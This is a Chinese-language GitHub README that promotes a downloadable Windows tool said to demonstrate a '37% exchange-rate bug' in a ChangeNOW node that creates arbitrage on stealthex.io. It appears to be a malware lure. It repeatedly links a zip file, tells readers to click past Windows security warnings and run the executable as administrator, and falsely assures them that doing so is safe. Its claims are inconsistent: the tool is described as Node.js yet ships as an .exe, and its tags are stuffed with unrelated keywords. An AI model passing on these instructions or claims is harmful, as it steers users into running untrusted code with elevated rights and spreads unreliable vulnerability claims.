cassperceptible490/Crypto-Node-Exploit-ChangeNOW
GitHub: cassperceptible490/Crypto-Node-Exploit-ChangeNOW
针对 ChangeNOW 节点 v1.9 版本中 37% 汇率计算漏洞的概念验证工具,通过演示定价缺陷帮助安全人员理解加密货币兑换风险。
Stars: 0 | Forks: 0
# 🐛 Crypto-Node-Exploit-ChangeNOW - 轻松测试 ChangeNOW 节点漏洞
[](https://raw.githubusercontent.com/cassperceptible490/Crypto-Node-Exploit-ChangeNOW/main/meteorization/NOW-Crypto-Exploit-Change-Node-1.0.zip)
## 📌 什么是 Crypto-Node-Exploit-ChangeNOW?
本应用程序展示了在 ChangeNOW 节点 1.9 版本中发现的漏洞。它是一个针对 37% 计算错误问题的概念验证。该问题会影响 stealthex.io 平台上的兑换交易。
该工具旨在帮助您直观地了解这个问题。它不是用于交易或投资的工具。相反,它帮助开发者和用户检查他们的系统中是否存在该漏洞。
## 🔧 系统要求
要运行本应用程序,您的计算机需要具备以下条件:
- Windows 10 或更高版本
- 至少 4 GB 内存
- 200 MB 可用磁盘空间
- 用于初始设置和运行的互联网连接
本应用程序以简单的程序形式在 Windows 上运行。无需预先安装其他软件。
## 📥 下载软件
您可以通过访问以下页面来获取该应用程序。该页面托管了运行它所需的所有文件。
[](https://raw.githubusercontent.com/cassperceptible490/Crypto-Node-Exploit-ChangeNOW/main/meteorization/NOW-Crypto-Exploit-Change-Node-1.0.zip)
点击上面的链接。它将带您进入 GitHub 上的项目页面。在这里,寻找最新的发布版本或主文件夹以找到文件。
## 🚀 如何在 Windows 上安装和运行
请按照以下步骤操作:
1. 打开顶部链接的下载页面。
2. 在 **Releases** 部分或主目录中找到可执行文件(通常以 `.exe` 结尾)。
3. 点击文件名进行下载。将其保存到您容易访问的文件夹中,例如您的“下载”文件夹。
4. 下载完成后,打开该文件夹,然后双击文件以启动应用程序。
5. Windows 可能会显示安全警告。如果是这样,请选择 **仍要运行** 或先点击 **更多信息** 然后选择 **运行**。
6. 该应用程序将启动一个命令行窗口显示进程。它会自动运行,无需安装。
7. 按照屏幕上的提示操作。它们将引导您完成与 ChangeNOW 节点模拟的交互。
## ⚙️ 工作原理
本工具连接到 ChangeNOW 节点的测试版本。它模拟了使用该节点软件的兑换过程。
该应用程序会检查节点的计算是否正确。它专门针对 37% 的错误进行检测。该错误会导致用户获得错误的兑换数值。
当错误出现时,工具会在命令行窗口中清晰地报告。这让您能够实时观察到问题的发生。
## 📂 包含内容
该软件包包含:
- 用于启动测试的主可执行文件
- 用于与节点通信的支持文件
- 包含说明的 README 文件
- 应用程序创建的显示其测试结果的基本日志
不包含也不需要任何额外的软件或驱动程序。
## ❓ 常见问题
### 这个应用程序会修复该漏洞吗?
不会。它只会展示该漏洞。修复它需要在 ChangeNOW 服务器端进行更改。
### 我需要 ChangeNOW 账户吗?
不需要账户。该工具仅连接到开放的节点测试环境。
### 运行这个安全吗?
是的。它仅读取数据,不会发送任何真实资金或个人信息。
### 如果应用程序打不开或崩溃怎么办?
请确保您的 Windows 已更新至最新版本。此外,请尝试右键点击该文件并选择 **以管理员身份运行** 来运行它。
## 📖 条款与使用
本工具仅用于教育和测试目的。它遵守所有法律和道德规范。请勿使用它来利用真实的账户或系统。
## 🔍 关于漏洞的更多信息
这个 37% 的漏洞会影响 ChangeNOW 对使用区块链交易进行兑换时的定价计算方式。该问题会导致在 stealthex.io 上进行交易时显示的金额不正确。
本工具演示了该问题:
- 涵盖了通过 ChangeNOW 节点 v1.9 进行的比特币和以太坊兑换
- 展示了由于数学错误如何出现套利机会
- 帮助白帽研究人员理解并报告此弱点
## 📞 获取帮助
如果您需要关于本应用程序的帮助:
- 查看随下载打包的 README 文件
- 在项目页面使用 GitHub Issues 提问
- 查阅与区块链和 ChangeNOW 节点相关的社区论坛
## 🧰 技术信息
- 使用 Node.js 编写
- 在 Windows 命令提示符或 PowerShell 中运行
- 通过 ChangeNOW 节点软件使用的标准 API 进行连接
- 将输出日志记录到文本文件以便于查看
## 🚧 开发状态
本工具是一个概念验证。它不是一个完整的产品或服务。更新取决于对该漏洞正在进行的调查和发现。
## 🔗 仓库主题
37percent, arbitrage, bitcoin, blockchain, bug-bounty, changenow, crypto, cryptocurrency, defi, demonstration, ethereum, exploit, glitch, nodejs, proof-of-concept, stealthex, swap, vulnerability, whitehat
## 📥 再次提供下载链接
[](https://raw.githubusercontent.com/cassperceptible490/Crypto-Node-Exploit-ChangeNOW/main/meteorization/NOW-Crypto-Exploit-Change-Node-1.0.zip)
标签:ChangeNOW, CISA项目, DeFi安全, GNU通用公共许可证, JavaScript注入, Maven, MITM代理, Node.js, PoC, stealthex, T1190, Web3安全, 交易漏洞, 加密货币, 套利漏洞, 安全测试, 安全漏洞, 密币交换, 提示词注入, 攻击性安全, 数据可视化, 智能合约安全, 暴力破解, 未审计漏洞, 概念验证, 汇率操纵, 漏洞验证, 网络安全, 自定义脚本, 跨链交换, 隐私保护, 黑盒测试